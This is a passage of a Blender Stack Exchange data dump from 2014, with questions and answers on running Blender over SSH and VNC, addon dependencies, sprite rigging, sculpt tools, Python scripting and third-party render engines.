  <row Id="8508" PostTypeId="2" ParentId="8505" CreationDate="2014-04-11T20:32:41.507" Score="9" Body="&lt;p&gt;It's definitely possible! If you have X11 forwarding set up on your SSH client and server, running Blender over the SSH connection should &lt;em&gt;just work&lt;/em&gt; (I have tried it!). I am thinking of *nix-to-*nix here, but, on Windows, &lt;a href=&quot;http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html&quot; rel=&quot;nofollow&quot; title=&quot;PuTTY home page&quot;&gt;PuTTY&lt;/a&gt; can be &lt;a href=&quot;http://www.math.umn.edu/systems_guide/putty_xwin32.shtml&quot; rel=&quot;nofollow&quot; title=&quot;Simple tutorial to set up X11 forwarding on a Windows PuTTY client&quot;&gt;configured to use Xming&lt;/a&gt; for X11 forwarding as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as you suspect, the performance will be terrible unless you are using a fast LAN connection. Here is what I recommend doing.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set up both an SSH and a localhost VNC server on the computer on&#xA;which you want to run Blender (the server).&lt;/li&gt;&#xA;&lt;li&gt;Using SSH, forward the port that the VNC server is using from the server to the client.&lt;/li&gt;&#xA;&lt;li&gt;Now connect a VNC viewer, running on the client, to the port of the VNC server that you just forwarded to the client.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some VNC servers and clients (like &lt;a href=&quot;http://tigervnc.org/&quot; rel=&quot;nofollow&quot; title=&quot;TigerVNC home page&quot;&gt;TigerVNC&lt;/a&gt;) support &lt;a href=&quot;https://en.wikipedia.org/wiki/JPEG&quot; rel=&quot;nofollow&quot; title=&quot;Wikipedia article about JPEG compression&quot;&gt;JPEG compression&lt;/a&gt;, so very usable framerates can be achieved with sub-optimal connections. I have been able to use Blender in the above configuration over a 10 megabit Internet connection without major problems. Another big advantage of using VNC over SSH is that applications running in the VNC server stay running even when a client is not connected (or even if a client is forcefully disconnected). Conversely, with SSH and X11 forwarding, the SSH connection must be maintained for as long as the application is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I should also mention &lt;a href=&quot;http://www.karlrunge.com/x11vnc/&quot; rel=&quot;nofollow&quot; title=&quot;x11vnc home page&quot;&gt;x11vnc&lt;/a&gt;. From its website, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;x11vnc&lt;/strong&gt; allows one to view remotely and interact with real X displays (i.e. a display corresponding to a physical monitor, keyboard, and mouse) with any VNC viewer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As such, it allows you to run Blender with hardware-accelerated OpenGL and &lt;em&gt;still&lt;/em&gt; access it via VNC.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastEditorUserId="1253" LastEditDate="2014-12-25T06:01:28.937" LastActivityDate="2014-12-25T06:01:28.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8509" PostTypeId="1" AcceptedAnswerId="8510" CreationDate="2014-04-11T20:55:47.770" Score="4" ViewCount="1490" Body="&lt;p&gt;I wish to include the libSBML library in one of my Blender addons. Although I was able to successfully do this on Linux, I'm having problems getting it to load in Blender's python console in my Windows box. I wrote the libSBML developers about this, and they replayed:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When I looked at Blender it seemed to be using Python 3.3.0. (Which is unfortunately the only python binaries we do not currently distribute). So I went ahead and created a set of binaries for the 'official' python 3.3. Looking at the dependencies, it depends on python33.dll and python3.dll. However, Blender only comes along with the python33.dll.&lt;/p&gt;&#xA;&lt;p&gt;the best thing to do would be to be able to link directly against the library that Blender uses, unfortunately there are no lib files distributed with Blender. So I'm afraid I cannot help there. It would help to know how precisely they built the numpy module they distribute and then use the same build procedure for libSBML.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My specific questions would then be:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is it possible to either get python3.dll from the official python distribution and use it with Blender, or&lt;/li&gt;&#xA;&lt;li&gt;if there is a set of lib's that Blender uses that I could compile my own version of libsbml against so that I can include it in my addon.&lt;/li&gt;&#xA;&lt;li&gt;Alternatively, what are the set of steps that one needs to follow to compile a library against Blender python's libs and dlls in Windows (for example, like the cited mail states, how was Blender's numpy compiled).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3107" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-01-22T23:38:52.517" Title="Including 3rd party modules in a Blender addon" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8510" PostTypeId="2" ParentId="8509" CreationDate="2014-04-11T21:55:33.807" Score="5" Body="&lt;p&gt;DingTo created the &lt;a href=&quot;https://developer.blender.org/rBL61313&quot; rel=&quot;noreferrer&quot;&gt;Windows builds of numpy&lt;/a&gt;. You can find some info in &lt;a href=&quot;https://developer.blender.org/T38792&quot; rel=&quot;noreferrer&quot;&gt;this task's discussion&lt;/a&gt;, especially &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aJuicyfruit/numpy_windows&quot; rel=&quot;noreferrer&quot;&gt;Juicyfruit's wiki page&lt;/a&gt; should be of interest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The compiled numpy libs were added to the &lt;a href=&quot;https://developer.blender.org/diffusion/BL/browse/trunk/lib/windows/release/&quot; rel=&quot;noreferrer&quot;&gt;library repository&lt;/a&gt; and are placed in the &lt;a href=&quot;https://developer.blender.org/rB990466e87eee76e9e846694c977691fb43e427d1&quot; rel=&quot;noreferrer&quot;&gt;site-packages folder&lt;/a&gt; when you build blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;provide a complete, customized blender build&lt;br&gt;or&lt;/li&gt;&#xA;&lt;li&gt;ask your users to manually place the required lib in blender's site-packages folder&lt;br&gt;or&lt;/li&gt;&#xA;&lt;li&gt;add the lib to your addon's folder and import it from there (&lt;code&gt;sys.path.append&lt;/code&gt; should do the trick)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-11T21:55:33.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8511" PostTypeId="2" ParentId="8504" CreationDate="2014-04-11T22:02:28.550" Score="0" Body="&lt;p&gt;You can gain access to the entire range of official Blender training products for an affordable amount of money via the new Blender Cloud:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cloud.blender.org/&quot; rel=&quot;nofollow&quot;&gt;https://cloud.blender.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(scroll to the end of the page)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender Cloud is a high quality web service in which we share all data of our previous films, all our training videos, and a continuous stream of data from the Gooseberry studios.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Blender Cloud will offer all Blender Institute Open Movie/Training DVDs. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More in-depth info:&lt;br&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Org:Institute/BlenderCloud&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Org:Institute/BlenderCloud&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-11T22:02:28.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8512" PostTypeId="2" ParentId="8327" CreationDate="2014-04-11T22:37:58.410" Score="2" Body="&lt;p&gt;There is at least a video showing someone compiled PyQt into Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/86398593&quot; rel=&quot;nofollow&quot;&gt;http://vimeo.com/86398593&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a facebook post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.facebook.com/cgtutorials/posts/521688517904188?stream_ref=10&quot; rel=&quot;nofollow&quot;&gt;https://www.facebook.com/cgtutorials/posts/521688517904188?stream_ref=10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems possible, at least with a modified Blender binary.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-11T22:37:58.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8513" PostTypeId="2" ParentId="8241" CreationDate="2014-04-11T22:41:24.913" Score="1" Body="&lt;p&gt;Python scripts run blocking in Blender, which means Blender will wait and UI be locked until finished. You won't see an animation therefore, no matter if you use &lt;code&gt;time.sleep()&lt;/code&gt; or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use a frame change handler to register a callback function, that changes objects on every frame change (before or after):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.app.handlers.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.app.handlers.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-11T22:41:24.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8514" PostTypeId="2" ParentId="8237" CreationDate="2014-04-11T22:46:21.443" Score="2" Body="&lt;p&gt;You could run Blender through PHP, pass arguments (see &lt;a href=&quot;https://blender.stackexchange.com/questions/6817/how-to-give-command-line-arguments-to-blender-python-script&quot;&gt;here&lt;/a&gt;) and let Blender print JSON-encoded data wrapped by some text markers. Extract and parse the JSON-data with PHP and use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/CoDEmanX/blend_stats&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CoDEmanX/blend_stats&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;Blender.Window.FileSelector(...)&lt;/code&gt; is only valid in Blender 2.4x, API is completely different in 2.5x / 2.6x.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-04-11T22:46:21.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8515" PostTypeId="2" ParentId="7106" CreationDate="2014-04-11T22:54:54.260" Score="2" Body="&lt;p&gt;There are utility functions to convert 2d region coordinates to 3d:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy_extras.view3d_utils.html&quot; rel=&quot;nofollow&quot;&gt;bpy_extras.view3d_utils&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a method to cast a ray in the scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Scene.html?highlight=ray_cast#bpy.types.Scene.ray_cast&quot; rel=&quot;nofollow&quot;&gt;Scene.ray_cast&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... but it might not work with orthographic view.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-11T22:54:54.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8516" PostTypeId="1" AcceptedAnswerId="8532" CreationDate="2014-04-12T06:04:50.217" Score="0" ViewCount="3033" Body="&lt;p&gt;I have a question. Is it possible to draw a sprite from a side view and then rig that with bones? Maybe I would first have to import the image into blender and then dop that outline with a mesh. Then, if even possible, I could maybe attach the sprite to the mesh and add the bones. I dont really have much experience with blender but I did create a humanoid sculpture and successfully rig it a long time ago. I don't remember being able to paste an image to the mesh in blender, but I do remember something having to do with seams and then maybe I could export those parts and attach it to them in another program (or worse have to draw over them which means having to draw the image all over again.) I'm not much of an art guy, more of a coding guy. I use Unity and would like to only have to draw one image and then do all the animations of that one image in blender so that I can focus more on coding. If it is possible please let me know. Thank you in advance for any response.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastActivityDate="2014-04-13T07:43:48.880" Title="2d sprite bone rigging" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8517" PostTypeId="1" AcceptedAnswerId="8535" CreationDate="2014-04-12T09:42:14.453" Score="22" ViewCount="19883" Body="&lt;p&gt;When you add an image strip to the Video Sequence Editor, it stretches/shrinks your image to fit the full output frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I add an image at its original resolution?&lt;/strong&gt;  For example, if I add a 60x60 pixel image, it should appear very small in the final 1080p render.&lt;/p&gt;&#xA;" OwnerUserId="1112" LastActivityDate="2017-01-03T01:40:00.943" Title="Input image strip without stretching to fit output frame" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8518" PostTypeId="1" AcceptedAnswerId="8519" CreationDate="2014-04-12T11:05:38.847" Score="2" ViewCount="1870" Body="&lt;p&gt;Im following the Blender 2.6 tutorial from lynda and I can't find the sculpt tool in sculpt mode in Blender 2.70.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2.6 the sculpt tool is under the texture now the only options I have are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Texture&lt;/li&gt;&#xA;&lt;li&gt;Stroke&lt;/li&gt;&#xA;&lt;li&gt;Curve&lt;/li&gt;&#xA;&lt;li&gt;Topology&lt;/li&gt;&#xA;&lt;li&gt;Symmetry Lock&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BVAhP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3111" LastEditorUserId="1363" LastEditDate="2014-04-12T13:04:22.773" LastActivityDate="2014-04-12T14:36:10.463" Title="Where is the sculpt tool in 2.70?" Tags="&lt;interface&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8519" PostTypeId="2" ParentId="8518" CreationDate="2014-04-12T11:21:18.337" Score="4" Body="&lt;p&gt;In blender 2.70 just as in 2.60 the Sculpt Tools can be found under &lt;em&gt;Brush&lt;/em&gt; once in &lt;em&gt;Sculpt Mode&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In the 3d header switch to sculpt mode, note your active selection needs to be a sculptable mesh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JF74a.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the &lt;em&gt;Tools&lt;/em&gt; tab at the very top you will see the brush section. Exapnd it and you will have access to the sculpt brushes&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XMpMI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-12T11:21:18.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8520" PostTypeId="1" CreationDate="2014-04-12T13:13:44.003" Score="2" ViewCount="3322" Body="&lt;p&gt;In Cycles how come I cannot see the motion blur in the 3D viewport when in render shading mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ex8FO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastEditorUserId="2217" LastEditDate="2014-08-05T18:06:36.983" LastActivityDate="2014-08-05T18:06:36.983" Title="Why can't I see motion blur in the viewport cycles?" Tags="&lt;cycles-render-engine&gt;&lt;3d-view&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8521" PostTypeId="2" ParentId="8520" CreationDate="2014-04-12T13:19:26.697" Score="4" Body="&lt;p&gt;Look here -&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Integrator&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Integrator&lt;/a&gt; under &lt;strong&gt;Motion Blur&lt;/strong&gt; ... &quot; Viewport rendering currently will not show motion blur.&quot; Not yet but maybe one day ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a technical perspective I'd say - viewport is viewport (and has nothing to do with shutter, focal length, aperture etc.) - If you hit F12 you &quot;jump&quot; to your camera in your scene which has all those specs ... that seems quite comprehensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's because the render process and the viewport rendering are two different things (from a programmers perspective) - that's all I can say ... maybe that will help you &lt;a href=&quot;https://blender.stackexchange.com/questions/2728/what-are-the-technical-differences-between-f12-render-and-viewport-preview&quot;&gt;What are the technical differences between F12 render and viewport preview?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2014-04-12T14:35:29.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8525" PostTypeId="1" AcceptedAnswerId="8533" CreationDate="2014-04-12T14:37:06.800" Score="6" ViewCount="6030" Body="&lt;p&gt;What are some 3rd party rendering engines available for Blender? I am using the internal blender render and I keep hearing in tutorials (blenderguru) that it is better to use an external render engine... &lt;/p&gt;&#xA;" OwnerUserId="3113" LastEditorUserId="12" LastEditDate="2014-04-12T15:10:48.507" LastActivityDate="2016-08-24T14:20:47.203" Title="What are some 3rd party rendering engines available for Blender?" Tags="&lt;rendering&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" CommunityOwnedDate="2014-04-12T15:11:15.970" ContentLicense="CC BY-SA 3.0" />
  <row Id="8527" PostTypeId="1" AcceptedAnswerId="8528" CreationDate="2014-04-12T15:25:20.933" Score="0" ViewCount="1150" Body="&lt;p&gt;I am new to blender, so I am playing around with it. I tried to recreate mesh from scratch by deleting all vertices then add them one by one. Currently, what I have is a ring of edge with no faces. I want to extrude each edge outward (in other word, extrude individually). However, there's no such option when I press Alt+E. I tried to manually click on the extrude individual at the left-side editor bar, but it becomes a group extrusion instead of individual extrusion. I am currently using the latest blender version, so I am not sure if this is one of the newer version bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do anybody have the same problem?&lt;/p&gt;&#xA;" OwnerUserId="3114" LastActivityDate="2014-04-12T16:16:58.303" Title="Extrude individual doesn't work for edges?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8528" PostTypeId="2" ParentId="8527" CreationDate="2014-04-12T16:16:58.303" Score="0" Body="&lt;p&gt;Like David suggested, use &lt;kbd&gt;E&lt;/kbd&gt; to Extrude and switch to Scaling by hitting &lt;kbd&gt;S&lt;/kbd&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/biek5.png&quot; alt=&quot;Extrude Scale Edge Ring&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Extrusion started from the inner, unselected edge ring)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you after unconnected edge rings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nTijr.png&quot; alt=&quot;Duplicate Edge Ring&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They were created by using &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to Duplicate.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-12T16:16:58.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8529" PostTypeId="1" CreationDate="2014-04-12T16:21:11.777" Score="4" ViewCount="3062" Body="&lt;p&gt;I'm trying to export animation data, but my bones never get updated from keyframe to keyframe. This is how I iterate over my actions and keyframes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for action in bpy.data.actions:&#xA;    armature.animation_data.action = action&#xA;    bpy.ops.screen.frame_jump(0)&#xA;    bpy.context.scene.update()&#xA;    while {'FINISHED'} == bpy.ops.screen.keyframe_jump():&#xA;        bpy.context.scene.update()&#xA;        for boneName in bones_index:&#xA;            bone = armature.pose.bones[boneName]&#xA;            mat = glob_mat * mathutils.Matrix(bone.matrix)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'mat' variable is the bone matrix for each bone. Per frame, the 'mat' variable doesn't seem to change. For example, if I only look at the bone &quot;Leg&quot;, the leg pose matrix doesn't seem to change keyframe to keyframe. The matrix is the correct matrix for frame 0, and it is different from my base pose. Am I not getting the pose matrices correctly? Or am I not correctly changing the scene? In the blender console, bpy.ops.screen.keyframe_jump() does exactly what I want, so I don't think that's the issue.&lt;/p&gt;&#xA;" OwnerUserId="2834" LastActivityDate="2014-04-12T23:00:26.730" Title="How do I iterate over keyframes in python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ClosedDate="2014-04-12T23:18:56.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="8530" PostTypeId="1" AcceptedAnswerId="98920" CreationDate="2014-04-12T18:09:09.070" Score="19" ViewCount="34267" Body="&lt;p&gt;I am trying to run a script within Blender that utilizes &lt;code&gt;multiprocessing&lt;/code&gt; module.&#xA;According to documentation it is possible to use it ( see note at the end of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/info_gotcha.html?highlight=subprocess#strange-errors-using-threading-module&quot; rel=&quot;noreferrer&quot;&gt;&quot;Strange errors using ‘threading’ module&quot;&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pythons threads only allow co-currency and won’t speed up your scripts on multi-processor systems, the subprocess and multiprocess modules can be used with Blender and make use of multiple CPU’s too..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I tried running below script within Blender:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from multiprocessing import Pool&#xA;&#xA;def test( v ):&#xA;    print(v)&#xA;    return v&#xA;&#xA;p = Pool(2)&#xA;&#xA;print( p.map(test, range(5) ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This however spawns as many new Blender instances (with separate windows) as there are workers in &lt;code&gt;p&lt;/code&gt; (in my case 2).&#xA;Also it spews in &lt;code&gt;System Console&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Can't read file: &quot;C:\Program Files\Blender Foundation\Blender\-c&quot;, Unable to open the file.&#xA;Can't read file: &quot;C:\Program Files\Blender Foundation\Blender\from multiprocessing.forking import main; main()&quot;, Unable to open the file.&#xA;Can't read file: &quot;C:\Program Files\Blender Foundation\Blender\--multiprocessing-fork&quot;, Unable to open the file.&#xA;Can't read file: &quot;C:\Program Files\Blender Foundation\Blender\2888&quot;, Unable to open the file.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also thought about using &lt;code&gt;os.fork()&lt;/code&gt; to do the same thing, but sadly Windows does not support that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking all over Internet, but so far I was not able to find even one example proving that documentation is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I found was &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?241952-Multiprocessing-in-Blender-2-6&quot; rel=&quot;noreferrer&quot;&gt;thread on blenderartists.org&lt;/a&gt;, but it is locked and with no responses.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; This is a windows spesific limitation in the &lt;code&gt;multiprocessing&lt;/code&gt; module. ~ideasman42.&lt;/p&gt;&#xA;" OwnerUserId="1030" LastEditorUserId="55" LastEditDate="2015-06-22T22:23:20.763" LastActivityDate="2021-04-06T14:09:36.493" Title="How to get Python multiprocessing module working on windows?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="4" CommentCount="8" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8532" PostTypeId="2" ParentId="8516" CreationDate="2014-04-12T18:33:16.593" Score="2" Body="&lt;p&gt;To get started with your project you could enable the addon &lt;em&gt;Import Images as Planes&lt;/em&gt; in Menu: &lt;em&gt;File / User Preferences&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be accessible from the menu &lt;em&gt;File / Import / Image as Plane&lt;/em&gt; and create a plane an UVMap and assigns the image texture. &#xA;Note: You need to set the Viewport Shading to texture otherwise you won't see the image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ir3wD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bones are used to deform geometry you should ask another question (perhaps add an illustration) on what exactly you want to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tkjg9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tweak the subdivided edges in the &lt;em&gt;UV-Editor&lt;/em&gt; and scale to maintain the proportions. Separating &lt;kbd&gt;P&lt;/kbd&gt; &lt;em&gt;By Selection&lt;/em&gt; for e.g. the legs allows you to have single objects for this part of the image which can be animated using bones as shown in the image above.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-04-13T07:43:48.880" LastActivityDate="2014-04-13T07:43:48.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8533" PostTypeId="2" ParentId="8525" CreationDate="2014-04-12T19:56:48.800" Score="6" Body="&lt;p&gt;A few open source engines which come to mind immediately:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.luxrender.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Luxrender&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yafaray&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.thebountyrenderer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TheBounty&lt;/a&gt;, a fork of YafaRay&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.povray.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;POV-Ray&lt;/a&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/POV-Ray&quot; rel=&quot;nofollow noreferrer&quot;&gt;exporter&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://aqsis.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Aqsis&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://jot.cs.princeton.edu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jot&lt;/a&gt; (&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Jot_Exporter_for_Blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;exporter&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.mitsuba-renderer.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mitsuba&lt;/a&gt; implement biased and unbiased rendering techniques (&lt;a href=&quot;https://www.mitsuba-renderer.org/repos/exporters/mitsuba-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exporter&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Some non-open source engines:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://render.otoy.com/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Octane&lt;/a&gt;, fast GPU renderer integrated into blender (Commercial)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.chaosgroup.com/en/2/vray_blender.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vray&lt;/a&gt;, production proven render engine. 